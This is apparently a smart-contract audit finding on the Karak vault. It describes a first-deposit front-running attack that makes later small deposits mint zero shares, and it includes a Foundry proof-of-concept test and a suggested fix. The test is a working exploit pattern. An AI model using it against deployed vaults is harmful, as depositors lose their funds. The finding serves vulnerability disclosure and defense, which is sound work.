c4-bot-5 commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Vault.sol#L94

Vulnerability details

[M-01] A vault's first deposit can be frontrunned to grief deposits below a treshold

Since the Solady's implementation of ERC-4626 uses the balance of depositToken as the base to price shares, if the contract is initially sent some depositToken via direct transfer, each deposit after that which is below the transfer amount (price of each share) will get zero shares in return. Also note that this will worsen as more users deposit values below this threshold, as each deposit increases the 1 share price. Moreover, using the vault::deposit with expected share does not solve this issue either because the vault::convertToShares suffers from the same problem.

Impact

Deposits below a certain threshold will be lost and no share will be issued for them. This threshold will rise as more users fall for this, causing the vault to be unusable in the long term.

Proof of Concept

The proof is rather easy, just add the following test to the existing vault.t.sol file: Here are the steps to exploit:

User wants to deposit 1 ether via vault::deposit (initial deposit to this vault).
This ether gets frontrunned or the malicious actor has already transferred 1.001 ether to the vault (a small value more than the initial deposit).
User calls deposit but doesn't receive any shares, and the depositToken gets reduced from them.

Now there is 2.001 deposit tokens in the contract, and any deposit below this will not give any shares to the depositor.

function test_initial_deposit_griefed() public {
    // create user and mint user and frontrunner(address this) initial funds
    address user = makeAddr("user");
    uint256 amount = 10 ether;
    depositToken.mint(address(this), amount);
    depositToken.mint(user, amount);
    // approvals
    depositToken.approve(address(vault), amount);
    vm.prank(user);
    depositToken.approve(address(vault), amount);
    // frontrunner/griefer transfers 1.001 ether to grief first depositer

    depositToken.transfer(address(vault), 1.001 ether);
    // user intends to deposit 1 ether, using deposit with slippage control
    vm.startPrank(user);
    uint256 expectedShares = vault.convertToShares(1 ether);
    uint256 share = vault.deposit(1 ether, user, expectedShares);
    // both share and expeted shares are 0
    assertEq(share, 0);
    assertEq(expectedShares, 0);
    // token is locked forever in the contract
    assertEq(depositToken.balanceOf(address(vault)), 2.001 ether);
    assertEq(vault.balanceOf(user),0);
    // bigger deposits still work as intended.
    expectedShares = vault.convertToShares(2.002 ether);
    share = vault.deposit(2.002 ether, user, expectedShares);
    assertEq(expectedShares, share);
    assert(share == 1);
    expectedShares = vault.convertToShares(2.001 ether);
    share = vault.deposit(2.001 ether, user, expectedShares);
    assert(share != 0);
}

Tools Used

Manual Review

Recommended Mitigation Steps

A quick fix would be adding an initial deposit to the vault::initialize function, or directly call deposit in the factory/Core contract. This will mint some initial shares for the operator and stop anyone from griefing the vaults.